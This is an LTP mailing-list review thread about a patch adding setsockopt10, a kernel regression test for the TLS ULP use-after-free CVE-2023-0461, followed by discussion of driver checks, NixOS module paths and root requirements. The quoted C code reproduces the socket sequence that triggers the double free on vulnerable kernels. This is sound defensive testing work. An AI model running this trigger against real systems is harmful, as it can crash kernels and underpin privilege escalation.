| Message ID | 20231012103916.30712-1-rpalethorpe@suse.com |
|---|---|
| State | Superseded |
| Headers | show |
| Series | Add setsockopt10 TLS ULP UAF CVE-2023-0461 | expand |
Hi! > +#include "tst_test.h" > + > +#ifdef HAVE_LINUX_TLS_H > + > +#include <linux/tls.h> > +#include "netinet/in.h" > +#include "netinet/tcp.h" > +#include "tst_checkpoint.h" > +#include "tst_net.h" > +#include "tst_safe_net.h" > +#include "tst_taint.h" > + > +static struct tls12_crypto_info_aes_gcm_128 opts = { > + .info = { > + .version = TLS_1_2_VERSION, > + .cipher_type = TLS_CIPHER_AES_GCM_128, > + }, > + .iv = { 'i', 'v' }, > + .key = { 'k', 'e', 'y' }, > + .salt = { 's', 'a', 'l', 't' }, > + .rec_seq = { 'r', 'e', 'c', 's' }, > +}; > + > +static struct sockaddr_in tcp0_addr, tcp1_addr; > +static const struct sockaddr unspec_addr = { > + .sa_family = AF_UNSPEC > +}; > + > +static int tcp0_sk, tcp1_sk, tcp2_sk, tcp3_sk; > + > +static void setup(void) > +{ > + tst_init_sockaddr_inet(&tcp0_addr, "127.0.0.1", 0x7c90); > + tst_init_sockaddr_inet(&tcp1_addr, "127.0.0.1", 0x7c91); > +} > + > +static void cleanup(void) > +{ > + if (tcp0_sk > 0) > + SAFE_CLOSE(tcp0_sk); > + if (tcp1_sk > 0) > + SAFE_CLOSE(tcp1_sk); > + if (tcp2_sk > 0) > + SAFE_CLOSE(tcp2_sk); > + if (tcp3_sk > 0) > + SAFE_CLOSE(tcp3_sk); > +} > + > +static void child(void) > +{ > + tst_res(TINFO, "child: Listen for tcp1 connection"); > + tcp0_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); > + SAFE_BIND(tcp0_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); > + SAFE_LISTEN(tcp0_sk, 1); > + TST_CHECKPOINT_WAKE(0); > + > + tcp3_sk = SAFE_ACCEPT(tcp0_sk, NULL, 0); > + TST_CHECKPOINT_WAIT(1); > + SAFE_CLOSE(tcp3_sk); > + SAFE_CLOSE(tcp0_sk); > + > + tcp3_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); > + TST_CHECKPOINT_WAIT(2); > + > + tst_res(TINFO, "child: connect for tcp2 connection"); > + TEST(connect(tcp3_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr))); > + > + if (TST_RET == -1) { > + tst_res(TINFO | TTERRNO, "child: could not connect to tcp1"); > + return; > + } > + > + TST_CHECKPOINT_WAIT(3); > +} > + > +static void run(void) > +{ > + const pid_t child_pid = SAFE_FORK(); > + > + if (child_pid == 0) { > + child(); > + return; > + } > + > + tcp1_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); > + TST_CHECKPOINT_WAIT(0); > + > + tst_res(TINFO, "parent: Connect for tcp0 connection"); > + SAFE_CONNECT(tcp1_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); > + TEST(setsockopt(tcp1_sk, SOL_TCP, TCP_ULP, "tls", 3)); > + > + if (TST_RET == -1 && TST_ERR == ENOENT) > + tst_brk(TCONF | TTERRNO, "parent: setsockopt failed: The TLS module is probably not loaded"); Should we set .needs_drivers for the test so that it only attempts to run either if TLS is compiled in or could be modprobed as a module? > + else if (TST_RET == -1) > + tst_brk(TBROK | TTERRNO, "parent: setsockopt failed"); > + > + SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts)); > + TST_CHECKPOINT_WAKE(1); > + > + tst_res(TINFO, "parent: Disconnect by setting unspec address"); > + SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr)); > + SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)); > + > + TEST(listen(tcp1_sk, 1)); > + > + if (TST_RET == -1) { > + if (TST_ERR == EINVAL) > + tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket"); > + else > + tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS socket, but the errno is not EINVAL as expected"); > + > + TST_CHECKPOINT_WAKE(2); > + goto out; > + } > + > + tst_res(TINFO, "parent: Can listen on disconnected TLS socket"); > + TST_CHECKPOINT_WAKE(2); > + > + tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0); > + SAFE_CLOSE(tcp2_sk); > + > + tst_res(TINFO, "parent: Attempting double free, because we set cipher options this should result in an crash"); > + SAFE_CLOSE(tcp1_sk); > + > + TST_CHECKPOINT_WAKE(3); > + usleep(0); Did you forget this here? > + if (tst_taint_check()) > + tst_res(TFAIL, "Kernel is tainted"); > + else > + tst_res(TCONF, "No kernel taint or crash, maybe the kernel can clone the TLS-ULP context now?"); If you set up .taint_check this is going to be redundant since we print TFAIL in the test library in that case. > +out: > + tst_reap_children(); > +} > + > +static struct tst_test test = { > + .setup = setup, > + .cleanup = cleanup, > + .test_all = run, > + .forks_child = 1, > + .needs_checkpoints = 1, > + .taint_check = TST_TAINT_W | TST_TAINT_D, > + .needs_kconfigs = (const char *[]) { > + "CONFIG_TLS", > + NULL > + }, > + .tags = (const struct tst_tag[]) { > + {"linux-git", "2c02d41d71f90"}, > + {"CVE", "2023-0461"}, > + {} > + } > +}; > + > +#else > + > +TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old"); > + > +#endif > -- > 2.40.1 > > > -- > Mailing list info: https://lists.linux.it/listinfo/ltp
Hello, Cyril Hrubis <chrubis@suse.cz> writes: > Hi! >> +#include "tst_test.h" >> + >> +#ifdef HAVE_LINUX_TLS_H >> + >> +#include <linux/tls.h> >> +#include "netinet/in.h" >> +#include "netinet/tcp.h" >> +#include "tst_checkpoint.h" >> +#include "tst_net.h" >> +#include "tst_safe_net.h" >> +#include "tst_taint.h" >> + >> +static struct tls12_crypto_info_aes_gcm_128 opts = { >> + .info = { >> + .version = TLS_1_2_VERSION, >> + .cipher_type = TLS_CIPHER_AES_GCM_128, >> + }, >> + .iv = { 'i', 'v' }, >> + .key = { 'k', 'e', 'y' }, >> + .salt = { 's', 'a', 'l', 't' }, >> + .rec_seq = { 'r', 'e', 'c', 's' }, >> +}; >> + >> +static struct sockaddr_in tcp0_addr, tcp1_addr; >> +static const struct sockaddr unspec_addr = { >> + .sa_family = AF_UNSPEC >> +}; >> + >> +static int tcp0_sk, tcp1_sk, tcp2_sk, tcp3_sk; >> + >> +static void setup(void) >> +{ >> + tst_init_sockaddr_inet(&tcp0_addr, "127.0.0.1", 0x7c90); >> + tst_init_sockaddr_inet(&tcp1_addr, "127.0.0.1", 0x7c91); >> +} >> + >> +static void cleanup(void) >> +{ >> + if (tcp0_sk > 0) >> + SAFE_CLOSE(tcp0_sk); >> + if (tcp1_sk > 0) >> + SAFE_CLOSE(tcp1_sk); >> + if (tcp2_sk > 0) >> + SAFE_CLOSE(tcp2_sk); >> + if (tcp3_sk > 0) >> + SAFE_CLOSE(tcp3_sk); >> +} >> + >> +static void child(void) >> +{ >> + tst_res(TINFO, "child: Listen for tcp1 connection"); >> + tcp0_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); >> + SAFE_BIND(tcp0_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); >> + SAFE_LISTEN(tcp0_sk, 1); >> + TST_CHECKPOINT_WAKE(0); >> + >> + tcp3_sk = SAFE_ACCEPT(tcp0_sk, NULL, 0); >> + TST_CHECKPOINT_WAIT(1); >> + SAFE_CLOSE(tcp3_sk); >> + SAFE_CLOSE(tcp0_sk); >> + >> + tcp3_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); >> + TST_CHECKPOINT_WAIT(2); >> + >> + tst_res(TINFO, "child: connect for tcp2 connection"); >> + TEST(connect(tcp3_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr))); >> + >> + if (TST_RET == -1) { >> + tst_res(TINFO | TTERRNO, "child: could not connect to tcp1"); >> + return; >> + } >> + >> + TST_CHECKPOINT_WAIT(3); >> +} >> + >> +static void run(void) >> +{ >> + const pid_t child_pid = SAFE_FORK(); >> + >> + if (child_pid == 0) { >> + child(); >> + return; >> + } >> + >> + tcp1_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); >> + TST_CHECKPOINT_WAIT(0); >> + >> + tst_res(TINFO, "parent: Connect for tcp0 connection"); >> + SAFE_CONNECT(tcp1_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); >> + TEST(setsockopt(tcp1_sk, SOL_TCP, TCP_ULP, "tls", 3)); >> + >> + if (TST_RET == -1 && TST_ERR == ENOENT) >> + tst_brk(TCONF | TTERRNO, "parent: setsockopt failed: The TLS module is probably not loaded"); > > Should we set .needs_drivers for the test so that it only attempts to > run either if TLS is compiled in or could be modprobed as a module? Yes if it worked :-D, although I would still want to keep the above check. I tried it and noticed a number of problems. On NixOS: $ ./setsockopt10 tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file tst_test.c:1195: TCONF: tls driver not available $ lsmod | grep tls tls 151552 0 We have a special switch for Android which disables the check, but it is not just Android. Granted NixOS is really wierd by desktop standards, but we have ALP and embedded systems to think about. AFAICT the test library does not do a modprobe if the driver is missing. Some tests (e.g. zram, CAN) do that and then claim to require modprobe. This is not good, those tests do not need modprobe if the module is loaded or compiled in. Perhaps if the check in tst_kernel fails for any reason we could just do a modprobe (or use the configured kernel usermode helper if it is set). If that fails we just carry on, like for Android. That's a seperate patch though IMO. Once we have a solution for that, this test can have needs_drivers added. > >> + else if (TST_RET == -1) >> + tst_brk(TBROK | TTERRNO, "parent: setsockopt failed"); >> + >> + SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts)); >> + TST_CHECKPOINT_WAKE(1); >> + >> + tst_res(TINFO, "parent: Disconnect by setting unspec address"); >> + SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr)); >> + SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)); >> + >> + TEST(listen(tcp1_sk, 1)); >> + >> + if (TST_RET == -1) { >> + if (TST_ERR == EINVAL) >> + tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket"); >> + else >> + tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS >> socket, but the errno is not EINVAL as expected"); >> + >> + TST_CHECKPOINT_WAKE(2); >> + goto out; >> + } >> + >> + tst_res(TINFO, "parent: Can listen on disconnected TLS socket"); >> + TST_CHECKPOINT_WAKE(2); >> + >> + tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0); >> + SAFE_CLOSE(tcp2_sk); >> + >> + tst_res(TINFO, "parent: Attempting double free, because we set >> cipher options this should result in an crash"); >> + SAFE_CLOSE(tcp1_sk); >> + >> + TST_CHECKPOINT_WAKE(3); >> + usleep(0); > > Did you forget this here? It's supposed to give the kernel chance to propagate the taint or panic. Which stops it from printing there was no kernel taint in parallel with the kernel splat. It appears to work on my test system. > >> + if (tst_taint_check()) >> + tst_res(TFAIL, "Kernel is tainted"); >> + else >> + tst_res(TCONF, "No kernel taint or crash, maybe the kernel can clone the TLS-ULP context now?"); > > If you set up .taint_check this is going to be redundant since we print > TFAIL in the test library in that case. In that case we can unconditionally do TCONF and it'll be overridden by fail and the resulting panic. Or it will be prevented by the panic. > >> +out: >> + tst_reap_children(); >> +} >> + >> +static struct tst_test test = { >> + .setup = setup, >> + .cleanup = cleanup, >> + .test_all = run, >> + .forks_child = 1, >> + .needs_checkpoints = 1, >> + .taint_check = TST_TAINT_W | TST_TAINT_D, >> + .needs_kconfigs = (const char *[]) { >> + "CONFIG_TLS", >> + NULL >> + }, >> + .tags = (const struct tst_tag[]) { >> + {"linux-git", "2c02d41d71f90"}, >> + {"CVE", "2023-0461"}, >> + {} >> + } >> +}; >> + >> +#else >> + >> +TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old"); >> + >> +#endif >> -- >> 2.40.1 >> >> >> -- >> Mailing list info: https://lists.linux.it/listinfo/ltp
Hi! > > Should we set .needs_drivers for the test so that it only attempts to > > run either if TLS is compiled in or could be modprobed as a module? > > Yes if it worked :-D, although I would still want to keep the above check. I > tried it and noticed a number of problems. > > On NixOS: > > $ ./setsockopt10 > tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' > tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file > tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file Can you strace modprobe to see what is different on the system, these files have to be installed somewhere in order for modprobe to actually work... > tst_test.c:1195: TCONF: tls driver not available > $ lsmod | grep tls > tls 151552 0 > > We have a special switch for Android which disables the check, but it is > not just Android. Granted NixOS is really wierd by desktop standards, > but we have ALP and embedded systems to think about. > > AFAICT the test library does not do a modprobe if the driver is > missing. Some tests (e.g. zram, CAN) do that and then claim to require > modprobe. This is not good, those tests do not need modprobe if the > module is loaded or compiled in. That all should be handled in the library when .need_drivers is set. The problem is that without the modules.buildin file we cannot easily tell if things have been compiled in. If we manage to find the location of the files used by modprobe we should do something as: 1) Is foo in modules.buildin -> return to the test 2) Is foo in /proc/modules -> return to the text 3) Is foo in mdules.dep -> try modprobe foo > Perhaps if the check in tst_kernel fails for any reason we could just do > a modprobe (or use the configured kernel usermode helper if it is > set). If that fails we just carry on, like for Android. That's a > seperate patch though IMO. Once we have a solution for that, this test > can have needs_drivers added. I suppose that just calling modprobe and check the return value would work as well, however that would make it hard dependency. > >> + else if (TST_RET == -1) > >> + tst_brk(TBROK | TTERRNO, "parent: setsockopt failed"); > >> + > >> + SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts)); > >> + TST_CHECKPOINT_WAKE(1); > >> + > >> + tst_res(TINFO, "parent: Disconnect by setting unspec address"); > >> + SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr)); > >> + SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)); > >> + > >> + TEST(listen(tcp1_sk, 1)); > >> + > >> + if (TST_RET == -1) { > >> + if (TST_ERR == EINVAL) > >> + tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket"); > >> + else > >> + tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS > >> socket, but the errno is not EINVAL as expected"); > >> + > >> + TST_CHECKPOINT_WAKE(2); > >> + goto out; > >> + } > >> + > >> + tst_res(TINFO, "parent: Can listen on disconnected TLS socket"); > >> + TST_CHECKPOINT_WAKE(2); > >> + > >> + tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0); > >> + SAFE_CLOSE(tcp2_sk); > >> + > >> + tst_res(TINFO, "parent: Attempting double free, because we set > >> cipher options this should result in an crash"); > >> + SAFE_CLOSE(tcp1_sk); > >> + > >> + TST_CHECKPOINT_WAKE(3); > >> + usleep(0); > > > > Did you forget this here? > > It's supposed to give the kernel chance to propagate the taint or > panic. Which stops it from printing there was no kernel taint in > parallel with the kernel splat. It appears to work on my test system. Right, so it's really just sched_yield(), maybe explicit sched_yield() would be more descriptive. > >> + if (tst_taint_check()) > >> + tst_res(TFAIL, "Kernel is tainted"); > >> + else > >> + tst_res(TCONF, "No kernel taint or crash, maybe the kernel can clone the TLS-ULP context now?"); > > > > If you set up .taint_check this is going to be redundant since we print > > TFAIL in the test library in that case. > > In that case we can unconditionally do TCONF and it'll be overridden by > fail and the resulting panic. Or it will be prevented by the panic. I guess that we should make the message "No kernel crash, maybe ..." instead in that case. > >> +out: > >> + tst_reap_children(); > >> +} > >> + > >> +static struct tst_test test = { > >> + .setup = setup, > >> + .cleanup = cleanup, > >> + .test_all = run, > >> + .forks_child = 1, > >> + .needs_checkpoints = 1, > >> + .taint_check = TST_TAINT_W | TST_TAINT_D, > >> + .needs_kconfigs = (const char *[]) { > >> + "CONFIG_TLS", > >> + NULL > >> + }, > >> + .tags = (const struct tst_tag[]) { > >> + {"linux-git", "2c02d41d71f90"}, > >> + {"CVE", "2023-0461"}, > >> + {} > >> + } > >> +}; > >> + > >> +#else > >> + > >> +TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old"); > >> + > >> +#endif > >> -- > >> 2.40.1 > >> > >> > >> -- > >> Mailing list info: https://lists.linux.it/listinfo/ltp > > > -- > Thank you, > Richard.
Hello, Cyril Hrubis <chrubis@suse.cz> writes: > Hi! >> > Should we set .needs_drivers for the test so that it only attempts to >> > run either if TLS is compiled in or could be modprobed as a module? >> >> Yes if it worked :-D, although I would still want to keep the above check. I >> tried it and noticed a number of problems. >> >> On NixOS: >> >> $ ./setsockopt10 >> tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file > > Can you strace modprobe to see what is different on the system, these > files have to be installed somewhere in order for modprobe to actually > work... They will be in /nix/store/<kernel package hash>/.../modules or similar. I can probably make it work on NixOS by creating a nix file, but I think there is a bigger issue. > >> tst_test.c:1195: TCONF: tls driver not available >> $ lsmod | grep tls >> tls 151552 0 >> >> We have a special switch for Android which disables the check, but it is >> not just Android. Granted NixOS is really wierd by desktop standards, >> but we have ALP and embedded systems to think about. >> >> AFAICT the test library does not do a modprobe if the driver is >> missing. Some tests (e.g. zram, CAN) do that and then claim to require >> modprobe. This is not good, those tests do not need modprobe if the >> module is loaded or compiled in. > > That all should be handled in the library when .need_drivers is set. > > The problem is that without the modules.buildin file we cannot easily > tell if things have been compiled in. If we manage to find the location > of the files used by modprobe we should do something as: > > 1) Is foo in modules.buildin -> return to the test > 2) Is foo in /proc/modules -> return to the text > 3) Is foo in mdules.dep -> try modprobe foo > >> Perhaps if the check in tst_kernel fails for any reason we could just do >> a modprobe (or use the configured kernel usermode helper if it is >> set). If that fails we just carry on, like for Android. That's a >> seperate patch though IMO. Once we have a solution for that, this test >> can have needs_drivers added. > > I suppose that just calling modprobe and check the return value would > work as well, however that would make it hard dependency. IMO it should only be best efforts. If the system doesn't have these files or modprobe, or it is running in a sandbox, then we should just try to run the test. In the worst case it fails with TBROK, but we won't block testing unecessarily. If the test doesn't require any unecessary privileges or resources then it can be used to see if a bug is reachable from a container or on some embedded system. I suppose that it could fail by default and the checks could be disabled with an env var. > >> >> + else if (TST_RET == -1) >> >> + tst_brk(TBROK | TTERRNO, "parent: setsockopt failed"); >> >> + >> >> + SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts)); >> >> + TST_CHECKPOINT_WAKE(1); >> >> + >> >> + tst_res(TINFO, "parent: Disconnect by setting unspec address"); >> >> + SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr)); >> >> + SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)); >> >> + >> >> + TEST(listen(tcp1_sk, 1)); >> >> + >> >> + if (TST_RET == -1) { >> >> + if (TST_ERR == EINVAL) >> >> + tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket"); >> >> + else >> >> + tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS >> >> socket, but the errno is not EINVAL as expected"); >> >> + >> >> + TST_CHECKPOINT_WAKE(2); >> >> + goto out; >> >> + } >> >> + >> >> + tst_res(TINFO, "parent: Can listen on disconnected TLS socket"); >> >> + TST_CHECKPOINT_WAKE(2); >> >> + >> >> + tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0); >> >> + SAFE_CLOSE(tcp2_sk); >> >> + >> >> + tst_res(TINFO, "parent: Attempting double free, because we set >> >> cipher options this should result in an crash"); >> >> + SAFE_CLOSE(tcp1_sk); >> >> + >> >> + TST_CHECKPOINT_WAKE(3); >> >> + usleep(0); >> > >> > Did you forget this here? >> >> It's supposed to give the kernel chance to propagate the taint or >> panic. Which stops it from printing there was no kernel taint in >> parallel with the kernel splat. It appears to work on my test system. > > Right, so it's really just sched_yield(), maybe explicit sched_yield() > would be more descriptive. > >> >> + if (tst_taint_check()) >> >> + tst_res(TFAIL, "Kernel is tainted"); >> >> + else >> >> + tst_res(TCONF, "No kernel taint or crash, maybe the kernel can clone the TLS-ULP context now?"); >> > >> > If you set up .taint_check this is going to be redundant since we print >> > TFAIL in the test library in that case. >> >> In that case we can unconditionally do TCONF and it'll be overridden by >> fail and the resulting panic. Or it will be prevented by the panic. > > I guess that we should make the message "No kernel crash, maybe ..." > instead in that case. > >> >> +out: >> >> + tst_reap_children(); >> >> +} >> >> + >> >> +static struct tst_test test = { >> >> + .setup = setup, >> >> + .cleanup = cleanup, >> >> + .test_all = run, >> >> + .forks_child = 1, >> >> + .needs_checkpoints = 1, >> >> + .taint_check = TST_TAINT_W | TST_TAINT_D, >> >> + .needs_kconfigs = (const char *[]) { >> >> + "CONFIG_TLS", >> >> + NULL >> >> + }, >> >> + .tags = (const struct tst_tag[]) { >> >> + {"linux-git", "2c02d41d71f90"}, >> >> + {"CVE", "2023-0461"}, >> >> + {} >> >> + } >> >> +}; >> >> + >> >> +#else >> >> + >> >> +TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old"); >> >> + >> >> +#endif >> >> -- >> >> 2.40.1 >> >> >> >> >> >> -- >> >> Mailing list info: https://lists.linux.it/listinfo/ltp >> >> >> -- >> Thank you, >> Richard.
Hi Richie, Cyril, > >> On NixOS: > >> $ ./setsockopt10 > >> tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' > >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file > >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file For my info: this comes from Cyrils suggestion to use .needs_drivers. > > Can you strace modprobe to see what is different on the system, these > > files have to be installed somewhere in order for modprobe to actually > > work... > They will be in /nix/store/<kernel package hash>/.../modules or similar. > I can probably make it work on NixOS by creating a nix file, but I think > there is a bigger issue. "NixOS is a Linux distribution built on top of the Nix package manager." [1] I have no idea why Linux distro needs non-standard patch. IMHO we can take patch which detects NixOS and use it's path, but for the distro itself would be better if it has at least symlink to the standard path (i.e. it'd be worth to report it). As Cyril noted we have .needs_drivers, but that's also require config files in /lib/modules. But setsockopt10 could also benefit from .modprobe patchset [2], particularly [3]. i.e. instead of asking for CONFIG_TLS "modprobe tls" could work. But currently we also expect modules.builtin is in /lib/modules. We could rethink that (e.g. introduce variable which ignores the check, or allows to pass path the correct prefix of the directory or remove tst_check_builtin_driver(name), which is based on parsing modules.builtin). But for broader discussion please comment on the patchset itself. And now something completely different: root vs. normal user: $ find /lib/modules/$(uname -r) |grep tls ... /lib/modules/6.5.0-1-amd64/kernel/net/tls/tls.ko But this does not work, when run as user: $ ./setsockopt10 ... setsockopt10.c:96: TINFO: child: Listen for tcp1 connection setsockopt10.c:133: TINFO: parent: Connect for tcp0 connection setsockopt10.c:138: TCONF: parent: setsockopt failed: The TLS module is probably not loaded: ENOENT (2) tst_test.c:1622: TINFO: Killed the leftover descendant processes Maybe that has been discussed, but I'd really request the root, because it works with it: # ./setsockopt10 ... setsockopt10.c:145: TINFO: parent: Disconnect by setting unspec address setsockopt10.c:153: TPASS: parent: Can't listen on disconnected TLS socket: EINVAL (22) setsockopt10.c:110: TINFO: child: connect for tcp2 connection setsockopt10.c:114: TINFO: child: could not connect to tcp1: ECONNREFUSED (111) Kind regards, Petr [1] https://en.wikipedia.org/wiki/NixOS [2] https://patchwork.ozlabs.org/project/ltp/list/?series=377451&state=* [3] https://patchwork.ozlabs.org/project/ltp/patch/20231013074748.702214-3-pvorel@suse.cz/
Hello, Petr Vorel <pvorel@suse.cz> writes: > Hi Richie, Cyril, > >> >> On NixOS: > >> >> $ ./setsockopt10 >> >> tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' >> >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file >> >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file > > For my info: this comes from Cyrils suggestion to use .needs_drivers. > >> > Can you strace modprobe to see what is different on the system, these >> > files have to be installed somewhere in order for modprobe to actually >> > work... > >> They will be in /nix/store/<kernel package hash>/.../modules or similar. >> I can probably make it work on NixOS by creating a nix file, but I think >> there is a bigger issue. > > "NixOS is a Linux distribution built on top of the Nix package manager." [1] > > I have no idea why Linux distro needs non-standard patch. IMHO we can take patch > which detects NixOS and use it's path, but for the distro itself would be better > if it has at least symlink to the standard path (i.e. it'd be worth to report > it). Only if you can point to a specification and NixOS accepts that spec. If it is not in POSIX then it is unlikely to get through. There is not even a /lib in NixOS. Any absolute paths interfere with reproducibility, isolation and such. To see how such a discussion is likey to go see this thread on /bin/bash: https://discourse.nixos.org/t/add-bin-bash-to-avoid-unnecessary-pain/5673 OTOH all we need is a Nix file which creates the symlinks (or patches LTP) and specifies the LTPs deps to create a reproducible build of LTP in Nix. At some point I'll add it to CI. However this doesn't help other distro's or embedded systems that we don't personally use. > > As Cyril noted we have .needs_drivers, but that's also require config files in > /lib/modules. But setsockopt10 could also benefit from .modprobe patchset [2], > particularly [3]. i.e. instead of asking for CONFIG_TLS "modprobe tls" could > work. But currently we also expect modules.builtin is in /lib/modules. We could > rethink that (e.g. introduce variable which ignores the check, or allows to pass > path the correct prefix of the directory or remove > tst_check_builtin_driver(name), which is based on parsing modules.builtin). > > But for broader discussion please comment on the patchset itself. > > And now something completely different: root vs. normal user: > $ find /lib/modules/$(uname -r) |grep tls > ... > /lib/modules/6.5.0-1-amd64/kernel/net/tls/tls.ko > > But this does not work, when run as user: > $ ./setsockopt10 > ... > setsockopt10.c:96: TINFO: child: Listen for tcp1 connection > setsockopt10.c:133: TINFO: parent: Connect for tcp0 connection > setsockopt10.c:138: TCONF: parent: setsockopt failed: The TLS module is probably not loaded: ENOENT (2) > tst_test.c:1622: TINFO: Killed the leftover descendant processes > > Maybe that has been discussed, but I'd really request the root, because it works > with it: Yes, I did say why I don't want to require root in the previous message. However I'll take this to the patchset thread you posted. > > # ./setsockopt10 > ... > setsockopt10.c:145: TINFO: parent: Disconnect by setting unspec address > setsockopt10.c:153: TPASS: parent: Can't listen on disconnected TLS socket: EINVAL (22) > setsockopt10.c:110: TINFO: child: connect for tcp2 connection > setsockopt10.c:114: TINFO: child: could not connect to tcp1: ECONNREFUSED (111) > > Kind regards, > Petr > > [1] https://en.wikipedia.org/wiki/NixOS > [2] https://patchwork.ozlabs.org/project/ltp/list/?series=377451&state=* > [3] https://patchwork.ozlabs.org/project/ltp/patch/20231013074748.702214-3-pvorel@suse.cz/
Hi Richie, > Hello, > Petr Vorel <pvorel@suse.cz> writes: > > Hi Richie, Cyril, > >> >> On NixOS: > >> >> $ ./setsockopt10 > >> >> tst_kconfig.c:87: TINFO: Parsing kernel config '/proc/config.gz' > >> >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.dep does not exist or not a file > >> >> tst_kernel.c:110: TWARN: expected file /lib/modules/6.5.5/modules.builtin does not exist or not a file > > For my info: this comes from Cyrils suggestion to use .needs_drivers. > >> > Can you strace modprobe to see what is different on the system, these > >> > files have to be installed somewhere in order for modprobe to actually > >> > work... > >> They will be in /nix/store/<kernel package hash>/.../modules or similar. > >> I can probably make it work on NixOS by creating a nix file, but I think > >> there is a bigger issue. > > "NixOS is a Linux distribution built on top of the Nix package manager." [1] > > I have no idea why Linux distro needs non-standard patch. IMHO we can take patch > > which detects NixOS and use it's path, but for the distro itself would be better > > if it has at least symlink to the standard path (i.e. it'd be worth to report > > it). > Only if you can point to a specification and NixOS accepts that spec. If > it is not in POSIX then it is unlikely to get through. There is not even > a /lib in NixOS. Any absolute paths interfere with reproducibility, > isolation and such. To see how such a discussion is likey to go see this > thread on /bin/bash: > https://discourse.nixos.org/t/add-bin-bash-to-avoid-unnecessary-pain/5673 Lol, missing /bin/bash, that's serious, at least they have /bin/sh :). > OTOH all we need is a Nix file which creates the symlinks (or patches > LTP) and specifies the LTPs deps to create a reproducible build of LTP > in Nix. At some point I'll add it to CI. I'm open to any solution - different path for NixOS or environment variable, which could be used for NixOS (and maybe hopefully for other use case). Please send a patch, whatever looks best to you. > However this doesn't help other distro's or embedded systems that we > don't personally use. > > As Cyril noted we have .needs_drivers, but that's also require config files in > > /lib/modules. But setsockopt10 could also benefit from .modprobe patchset [2], > > particularly [3]. i.e. instead of asking for CONFIG_TLS "modprobe tls" could > > work. But currently we also expect modules.builtin is in /lib/modules. We could > > rethink that (e.g. introduce variable which ignores the check, or allows to pass > > path the correct prefix of the directory or remove > > tst_check_builtin_driver(name), which is based on parsing modules.builtin). > > But for broader discussion please comment on the patchset itself. > > And now something completely different: root vs. normal user: > > $ find /lib/modules/$(uname -r) |grep tls > > ... > > /lib/modules/6.5.0-1-amd64/kernel/net/tls/tls.ko > > But this does not work, when run as user: > > $ ./setsockopt10 > > ... > > setsockopt10.c:96: TINFO: child: Listen for tcp1 connection > > setsockopt10.c:133: TINFO: parent: Connect for tcp0 connection > > setsockopt10.c:138: TCONF: parent: setsockopt failed: The TLS module is probably not loaded: ENOENT (2) > > tst_test.c:1622: TINFO: Killed the leftover descendant processes > > Maybe that has been discussed, but I'd really request the root, because it works > > with it: > Yes, I did say why I don't want to require root in the previous > message. However I'll take this to the patchset thread you posted. Ah right, thanks for info. +1 for keeping the discussion there. Kind regards, Petr > 